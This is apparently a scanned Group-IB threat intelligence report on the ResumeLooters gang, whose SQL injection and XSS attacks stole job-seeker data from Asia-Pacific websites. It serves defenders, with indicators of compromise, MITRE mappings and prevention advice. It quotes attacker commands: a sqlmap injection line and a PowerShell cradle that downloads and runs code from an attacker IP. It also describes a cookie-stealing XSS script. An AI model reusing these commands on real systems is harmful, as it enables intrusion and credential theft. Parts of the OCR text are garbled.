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Introduction

Group-IB’s Threat Intelligence

Group-IB’s Threat intelligence platform

Cross-Site Scripting (XSS)
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a report about GambleForce

indicators of compromise (IOCs)

Key Findings
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Discovered by Group-IB, ResumeLooters has been active since early 2023.

Between November and December 2023, the gang successfully conducted SQL injection and
Cross-Site Scripting (XSS) attacks against recruitment and retail websites in the Asia-
Pacific region.

The gang is primarily focused on India (12 victims), Taiwan (10), Thailand (9), and Vietnam

(7).

By using SQL injections, the group has stolen data from 65 websites. The stolen files contained
a total of 2,188,444 rows, of which 510,259 were user data stolen from job search websites.

Various penetration testing tools have been identified on the group’s malicious servers, including
sqlmap, Acunetix, Beef Framework, X-Ray, Metasploit, ARL (Asset Reconnaissance
Lighthouse), and Dirsearch.

The group’s main initial vector is SQL injection via sqlmap. Another technique observed by
Group-IB in this campaign was the injection of XSS scripts into legitimate job search websites.

The analysis of stolen HTML files suggests that the malicious XSS script was executed on at
least four websites. Some HTML files reveal the presence of XSS script embedded in the HTML
code. The XSS script appears to have been executed on some devices with administrative
access.

Resumelooters tried inserting XSS scripts into all possible web forms of the targeted websites,
hoping they would display phishing forms to obtain admin credentials.

The accounts of the attackers and advertisements for the sale of compromised data were
discovered in Chinese-speaking hacking-themed Telegram groups.
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Infection for profit

Infection of vulnerable legitimate websites with an XSS script

Infection of website administrators through a malicious plugin distributed within a narrow circle
of developers.
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Malicious XSS script discovered on jobs[redacted].co and
work[redacted].com
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Investigation into Resumelooters’ malicious
infrastructure and tools

139.180.137[.]107

python3 sqlmap.py -r txt/redacted.txt -p employee_id --risk 3 --level 3 --batch -D app -T

powershell.exe -nop -w hidden -c IEX ((new-object
Net.WebClient).DownloadString('http://139.84.130[.]232:8080/CcrN3QqWOeRx/KAGctYUci');l
((new-object
Net.WebClient).DownloadString('http://139.84.130[.]232:8080/CcrN3QqW0OeRx/iDDHJOuzw/1
((new-object
Net.WebClient).DownloadString('http://139.84.130[.]232:8080/CcrN3QqWO0OeRx");
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Content of http://admin.cloudnetsofe[.]Jcom/ (139.180.137[.]107)
root page

Content of sb8[.]Jco root page
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Online.htm

Content of https://sb8[.]Jco/online.htm

Beef Framework
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Content of https://admin.cloudnetsofe[.]Jcom/if.js
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The script monitors visits to specific websites with injected XSS script and redirects to phishing
pages of these sites in case of a match to collect credentials from these sites.

The script contains a function named “xss,” which creates a hidden iframe with a white
background and loads the specified URL into it. This can be used for conducting XSS attacks,
particularly to display malicious web pages on top of legitimate ones.

Send the current URL and user cookies to an external server
(https://admin.cloudnetsofe[.Jcom/domainxxdisdiiskshfdsh[.]Jphp) using a POST request.

Other tools
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139.84.168[.]189

Port 3443
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Port 3000

Stolen data
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Penetration Data Center — ;25 #iEH
sale of the stolen data
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Group-IB’s Threat Intelligence platform
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Conclusion

DreamdJob

Recommendations
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SQL Injection Prevention

Use Parameterized Statements or Prepared Statements:

Instead of concatenating user input directly into SQL queries, use parameterized
statements or prepared statements provided by your programming language or
framework. This helps to separate user input from SQL code.

Input Validation:

Validate and sanitize user inputs on both the client and server sides. Ensure that inputs
adhere to expected formats and length constraints.

Web Application Firewalls (WAF):

Implement a WAF that can detect and block SQL injection attempts. WAFs can provide an
additional layer of defense against various web application attacks.

Cross-Site Scripting (XSS) Prevention

Input Validation and Sanitization:

Validate and sanitize user input on both the client and server sides. Input validation
ensures that user input adheres to expected formats, while sanitization helps to neutralize
potentially harmful content.

Escape User-Generated Content:

Before rendering user-generated content, escape special characters to ensure that they
are treated as literal text and not interpreted as code.

Enable Advanced Protection with Group-IB

OWASP Top 10

Penetration Testing

Group-IB Threat Intelligence
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Group-IB Fraud Protection solution

Group-IB’s experts

Supercharge cybersecurity with
Group-IB Threat Intelligence

Request ademo

Network Indicators

Domains

139.84130J232  Recruitimjobsl Jasia

139.84.168[.]189

Malicious URLs

http://139.84.130[.]232:8080/CcrN3QqWOeRx/iDDH.
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139.84.62[.]151

173.199.122[.]65

139.180.137[.]107 admin.cloudnetsofe[.Jcom http://139.180.137[.]107:9932/shell3.exe

8t[.Jae

sb8[.]Jco

MITRE ATT&CK®

Tactic Description

The ResumelLooters group used X-Ray,
Acunetix vulnerability scanners in order to find
and execute vulnerabilities

Active Vulnerability Scanning:
Scanning T1595.002

The ResumelLooters group used Dirsearch in
order to find all available files and directories on
the target web-site

Active Wordlist Scanning:
Scanning T1595.003

Acquire Domains: T1583.001 The Resumelooters group used differents

Infrastructure domain names for their malicious purposes

Acquire Server T1583.004 The Resumelooters group used differents

Infrastructure servers for their malicious purposes

Drive-by Compromise: The Resumelooters group infected legitimate

Initial A
nitial Access T1189 websites with XSS scripts
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Found it interesting? Don't hesitate to share it to wow your friends or colleagues

@ GROUP-IB Products Resources

Partners Company
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Subscription plans Services Resource Center

Contact Subscribe to stay up to date with the

latest cyber threat trends
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